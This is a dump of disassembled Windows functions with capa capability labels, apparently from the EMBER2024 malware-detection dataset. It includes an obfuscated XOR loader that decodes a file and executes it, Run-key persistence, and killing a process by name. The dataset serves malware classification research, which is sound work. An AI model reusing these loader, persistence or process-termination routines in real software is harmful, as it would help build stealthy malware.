joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406472
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
inc eax
mov ecx, dword [ebp + 8]
cmp eax, dword [ecx + 0x10]
jl 0x4064d8
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x10]
lea eax, [eax + ecx + 0x64]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp + 8]
push dword [eax + 0x10]
mov eax, dword [ebp + 8]
push dword [eax + 8]
call fcn.0040d4cd
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x4064d8
push 0x49f190
push 2
call fcn.00487c90
pop ecx
push eax
call fcn.0040aa3c
pop ecx
pop ecx
push 1
call fcn.00486d64
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 8]
mov dl, byte [ebp + 0xc]
mov byte [ecx + eax], dl
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0xc]
inc eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
pop ebp
ret

Function at 0x406b01
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x406c13
call fcn.0046acf1
push dword [ebp + 8]
mov eax, dword [ebp + 8]
push dword [eax + 0x638]
call fcn.0040d90e
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [0x4b6ad4], eax
cmp dword [0x4b6ad4], 0
je 0x406b6d
push dword [0x4b6ad4]
call fcn.0040db2c
pop ecx
test eax, eax
jne 0x406b6d
push 0
push 0
push 0x4091c8
push 0
push 1
push 0
push 0x49f09c
push dword [0x4b6ad4]
call fcn.0040eb99
add esp, 0x20
cmp dword [0x4b6ad4], 0
je 0x406b86
push dword [0x4b6ad4]
call fcn.0040db2c
pop ecx
test eax, eax
je 0x406bc1
push dword [0x4b6ad4]
call fcn.0040dbb4
pop ecx
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x638]
push 0x49f0a8
push 2
call fcn.00487c90
pop ecx
push eax
call fcn.0040aa3c
add esp, 0x10
cmp dword [ebp + 0xc], 0
je 0x406bba
jmp 0x406c13
push 1
call fcn.00486d64
push 1
mov eax, dword [ebp + 8]
push dword [eax]
call fcn.0046aad5
pop ecx
pop ecx
push 0
push 0
push 0x40781b
push 0
push 1
push 1
push 0x49f0d4
push dword [0x4b6ad4]
call fcn.0040eb99
add esp, 0x20
push 0
push 0
push 0x409bc2
push 0
push 1
push 2
push 0x49f0e0
push dword [0x4b6ad4]
call fcn.0040eb99
add esp, 0x20
pop ebp
ret
Function at 0x409b62
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push dword [0x4b6adc]
push 0x4a1578
push 2
call fcn.00487c90
pop ecx
push eax
call fcn.0040aa3c
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x409ba4
push 0x4a1050
push 0x4a103c
push 2
call fcn.00487c90
pop ecx
push eax
call fcn.0040aa3c
add esp, 0xc
jmp 0x409bb9
push 0x4a160c
push 2
call fcn.00487c90
pop ecx
push eax
call fcn.0040aa3c
pop ecx
pop ecx
push 1
call fcn.00486d64
pop ebp
ret
Function at 0x458095
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
and dword [eax], 0
push 0
push 0x14
call fcn.0044b308
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4580bb
push 7
pop eax
jmp 0x45814c
cmp dword [0x4b049c], 0
jne 0x4580d5
push 0x14
push 0
push dword [ebp - 4]
call fcn.00483bf0
add esp, 0xc
jmp 0x458120
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0xc], ecx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push 0
push dword [ebp - 4]
push 0x4581bc
push 0
push 0
call fcn.0048d22f
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
jne 0x458120
push 0x14
push 0
push dword [ebp - 4]
call fcn.00483bf0
add esp, 0xc
mov eax, dword [ebp - 4]
cmp dword [eax + 8], 0
jne 0x458142
call dword [0x49e110]
mov ecx, dword [ebp - 4]
mov dword [ecx + 4], eax
push dword [ebp + 0x10]
call dword [ebp + 0xc]
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
xor eax, eax
leave
ret
Function at 0x492715
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00492594

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x40130a
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
push dword [esp + 0x10]
mov edi, ecx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401334
mov bl, 1
jmp 0x40133a
mov dword [edi + 0x10c], esi
pop edi
mov al, bl
pop esi
pop ebx
ret 4

Function at 0x4017d9
Capabilities:
Create directory
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [0x47546c], 0
push esi
push edi
mov esi, 0x475050
mov edi, 0x475260
jne 0x401888
lea eax, [ebp - 4]
mov byte [0x47546c], 1
push eax
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x401850
push esi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [ebp - 8]
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x40185c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40185c
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push dword [0x46f1b8]
push esi
call fcn.00403dbf
push esi
push edi
call fcn.00403db5
push esi
push 0x475158
call fcn.00403db5
push 0x46f1dc
push esi
call fcn.00403dbf
add esp, 0x20
cmp byte [ebp + 8], 0
mov eax, esi
jne 0x401892
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x402e0c
Capabilities:
Get proxy
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
lea eax, [ebp - 4]
push ebx
xor ebx, ebx
push eax
push 0x20019
push ebx
push 0x46f27c
push 0x80000001
mov dword [ebp - 4], ebx
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402efc
push esi
lea eax, [ebp - 8]
push edi
push eax
lea eax, [ebp - 0x10c]
push eax
push ebx
push ebx
push 0x46f270
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402eec
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x50c]
push eax
call fcn.00420a7c
lea eax, [ebp - 0x50c]
push 0x46f268
push eax
call fcn.00420950
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x402edb
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x50c]
push eax
push 0x46f260
push edi
mov byte [esi], bl
call fcn.00420a7c
add esi, 4
push 0x46f258
push esi
call fcn.00420950
add esp, 0x14
test eax, eax
push esi
push edi
je 0x402ed4
push 0x46f1e4
push edi
call fcn.00420a7c
add esp, 0x10
jmp 0x402eec
push 0x46f24c
jmp 0x402ec9
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.00403db5
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
pop edi
pop esi
je 0x402efc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret
Function at 0x40de44
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
test byte [ebp + 8], 4
push ebx
push esi
push edi
je 0x40df59
push 0x46f6ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
mov dword [ebp + 8], ebx
je 0x40deb8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x46f6d0
push ebx
call esi
push 0x46f6c0
push ebx
mov edi, eax
call esi
push 0x46f6b0
mov ebx, eax
push dword [ebp + 8]
call esi
test eax, eax
mov dword [ebp - 8], eax
je 0x40deaf
test ebx, ebx
je 0x40deaf
test edi, edi
je 0x40deaf
push 0
push 2
call edi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x40debf
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x40df5c
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push dword [ebp - 4]
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40df47
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40df30
dec eax
cmp byte [ebp + eax - 0x10c], 0x5c
jne 0x40deee
lea eax, [ebp + eax - 0x10b]
push eax
push 0x46f6a0
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40df30
push dword [ebp - 0x128]
push eax
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 1
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call esi
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push dword [ebp - 4]
call dword [ebp - 8]
test eax, eax
jne 0x40dedd
push dword [ebp - 4]
call esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e106
Capabilities:
Delete file

Disassembly:
mov eax, 0x457ad4
call fcn.00420870
sub esp, 0x20
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x2c]
push edi
push edx
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, dword [ebp - 0x28]
and dword [ebp - 4], 0
cmp eax, dword [ebp - 0x24]
je 0x40e1b3
mov edi, dword [ebp + 0xc]
cmp edi, dword [eax]
je 0x40e141
add eax, 4
cmp eax, dword [ebp - 0x24]
jne 0x40e133
jmp 0x40e1b3
lea eax, [ebp - 0x1c]
push esi
push eax
mov ecx, edi
call fcn.00406332
mov esi, dword [ebp - 0x18]
mov byte [ebp - 4], 1
jmp 0x40e18f
mov ecx, dword [esi]
push 1
push 0x200
call fcn.00408664
mov ecx, dword [esi]
call fcn.004082f9
push eax
lea ecx, [ebp + 8]
call fcn.00444ad0
mov eax, dword [ebp + 8]
cmp dword [eax - 8], 0
jle 0x40e184
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp + 8]
call fcn.00444a62
add esi, 4
cmp esi, dword [ebp - 0x14]
jne 0x40e156
push edi
call fcn.0040e04c
pop ecx
push 1
push 4
mov ecx, edi
call fcn.00406511
and byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.004090f7
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.004090f7
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
leave
ret
Function at 0x40e1cc
Capabilities:
Delete file

Disassembly:
mov eax, 0x457af8
call fcn.00420870
sub esp, 0x20
push ebx
push esi
call fcn.0040ce13
mov ecx, dword [ebp + 8]
mov ebx, eax
lea edx, [ebp - 0x2c]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
mov esi, dword [ebp - 0x28]
and dword [ebp - 4], 0
cmp esi, dword [ebp - 0x24]
je 0x40e286
push edi
mov ecx, dword [esi]
lea eax, [ebp - 0x1c]
push eax
call fcn.00406332
mov edi, dword [ebp - 0x18]
mov byte [ebp - 4], 1
jmp 0x40e25d
mov ecx, dword [edi]
call fcn.004082f9
push eax
lea ecx, [ebp + 8]
call fcn.00444ad0
push dword [ebp + 8]
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40e24e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x40e24e
lea eax, [ebp + 8]
lea ecx, [ebx + 0xc8]
push eax
call fcn.00444b9b
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.00444a62
add edi, 4
cmp edi, dword [ebp - 0x14]
jne 0x40e213
mov ecx, dword [esi]
push 1
push 4
call fcn.00406511
and byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.004090f7
add esi, 4
cmp esi, dword [ebp - 0x24]
jne 0x40e1ff
pop edi
test ebx, ebx
je 0x40e291
mov byte [ebx + 0xc4], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.004090f7
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40ec67
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x457bcc
call fcn.00420870
sub esp, 0x15c
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp byte [ebp + 0xc], bl
push edi
mov eax, dword [esi]
mov ecx, esi
je 0x40ec96
call dword [eax + 0x38]
mov edi, eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x3c]
jmp 0x40eca2
call dword [eax + 0x40]
mov edi, eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x44]
cmp edi, ebx
mov dword [ebp - 0x10], eax
je 0x40ed55
push 0x44
lea eax, [ebp - 0x64]
pop esi
push esi
push ebx
push eax
call fcn.00420ad0
add esp, 0xc
lea eax, [ebp - 0x168]
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], ebx
push 0x104
push eax
push edi
mov dword [ebp - 0x38], 0x41
mov word [ebp - 0x34], 6
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov eax, dword [0x47018c]
mov dword [ebp + 8], eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x168]
mov dword [ebp - 4], ebx
push eax
lea eax, [ebp + 8]
push 0x46f764
push eax
call fcn.0043f8cf
add esp, 0x10
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp byte [ebp + 0xc], bl
je 0x40ed39
push 0x64
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x40ed27
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00444a62
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40f4c2
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongA]
push ebp
mov ebp, dword [sym.imp.USER32.dll_SetWindowLongA]
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
test esi, esi
je 0x40f4f2
push 0
push esi
call edi
push 0xfffffffffffffff0
push esi
call ebx
and al, 0xfe
push eax
push 0xfffffffffffffff0
push esi
call ebp
mov esi, dword [esp + 0x14]
test esi, esi
je 0x40f513
push 0xfffffffffffffff0
push esi
call ebx
or al, 1
push eax
push 0xfffffffffffffff0
push esi
call ebp
push 5
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetFocus]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40fb29
Capabilities:
Persist via run registry key

Disassembly:
mov eax, 0x457c84
call fcn.00420870
sub esp, 0x110
push ebx
push esi
mov esi, 0x104
push edi
lea eax, [ebp - 0x11c]
push esi
xor ebx, ebx
push eax
push ebx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0x14]
push eax
call fcn.00444ad0
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
call fcn.0043f92e
lea ecx, [ebp - 0x14]
call fcn.0043f8e2
push esi
lea eax, [ebp - 0x11c]
push ebx
push eax
call fcn.00420ad0
push dword [ebp - 0x14]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403db5
add esp, 0x14
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesA]
mov ecx, dword [edi + 0xd0]
call fcn.004041c0
push eax
lea ecx, [ebp - 0x18]
call fcn.00444ad0
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call fcn.00444ad0
mov esi, 0x46f594
lea ecx, [ebp - 0x10]
push esi
mov byte [ebp - 4], 2
call fcn.00444d64
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x10]
push eax
call fcn.00444da0
push esi
lea ecx, [ebp - 0x10]
call fcn.00444d64
push 0x46f76c
lea ecx, [ebp - 0x10]
call fcn.00444d64
mov eax, dword [ebp - 0x10]
push dword [eax - 8]
push eax
push 1
push dword [0x46f5a8]
push dword [0x46f5a4]
push 0x80000001
call fcn.00411530
add esp, 0x18
lea ecx, [ebp - 0x10]
mov byte [edi + 0xc4], bl
mov byte [ebp - 4], 1
call fcn.00444a62
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], bl
call fcn.00444a62
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00444a62
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x41006b
Capabilities:
Check if file exists
Delete file

Disassembly:
push esi
xor esi, esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x410088
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x410088
inc esi
mov eax, esi
pop esi
ret 4
Function at 0x410473
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor ebx, ebx
cmp dword [0x477d10], 0x400
push edi
mov edi, ecx
jb 0x410541
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x41054d
mov eax, dword [ebp - 4]
xor esi, esi
cmp eax, esi
ja 0x41054d
jb 0x4104c8
mov eax, dword [ebp - 8]
cmp eax, dword [ebp + 0xc]
jae 0x41054d
call fcn.004514b2
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax + 8]
sub ecx, dword [ebp - 8]
push ebx
push ebx
sbb esi, dword [ebp - 4]
shrd ecx, esi, 0x14
shr esi, 0x14
inc ecx
push ecx
push dword [edi + 0x1c]
push dword [ebp + 0x10]
push eax
call fcn.0040ce26
add esp, 0x18
cmp eax, 1
jne 0x410502
cmp dword [ebp + 0x10], ebx
jne 0x41050b
push 2
pop ebx
jmp 0x41054d
mov esi, 0x3fb
cmp eax, esi
jne 0x41051f
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00410473
mov ebx, eax
jmp 0x41054d
call fcn.004514b2
mov eax, dword [eax + 8]
push ebx
push ebx
push ebx
push dword [edi + 0x1c]
push 4
push eax
call fcn.0040ce26
add esp, 0x18
cmp eax, esi
jne 0x41050b
xor ebx, ebx
inc ebx
jmp 0x41054d
push ebx
push ebx
push 0x46f778
call fcn.0044a898
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret 0xc

Function at 0x410556
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
call fcn.0040fa65
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0x47504c
push 0
push dword [0x46f5b4]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4105c9
lea eax, [ebp - 0x10c]
push eax
call fcn.00420c20
pop ecx
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
push 0
push dword [0x46f5b8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x4105cb
Capabilities:
Delete registry key

Disassembly:
sub esp, 0x104
lea eax, [esp]
push eax
call fcn.0040fa65
push dword [0x46f5bc]
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
add esp, 0x104
ret
Function at 0x41064c
Capabilities:
Create directory
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
mov edi, 0x104
lea eax, [ebp - 0x10c]
push edi
push eax
mov dword [ebp - 8], ecx
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push ebx
push ebx
push ebx
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00422581
lea eax, [ebp - 4]
push eax
call fcn.00420c20
add esp, 0x18
cmp byte [ebp + eax - 5], 0x5c
je 0x4106a8
lea eax, [ebp - 4]
push 0x46f1bc
push eax
call fcn.00403dbf
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00403db5
lea eax, [ebp - 0x10c]
push 0x46f7b8
push eax
call fcn.00403dbf
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x4106f9
lea eax, [ebp - 0x10c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x4106f9
lea eax, [ebp - 0x10c]
push edi
push eax
call esi
mov eax, dword [ebp + 8]
pop edi
pop esi
cmp byte [eax], bl
pop ebx
jne 0x410724
push dword [ebp + 0x10]
lea eax, [ebp - 0x10c]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, dword [ebp - 8]
push eax
call fcn.0040fd5c
mov dword [ebp + 0x10], eax
jmp 0x410733
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov eax, dword [ebp + 0x10]
leave
ret 0xc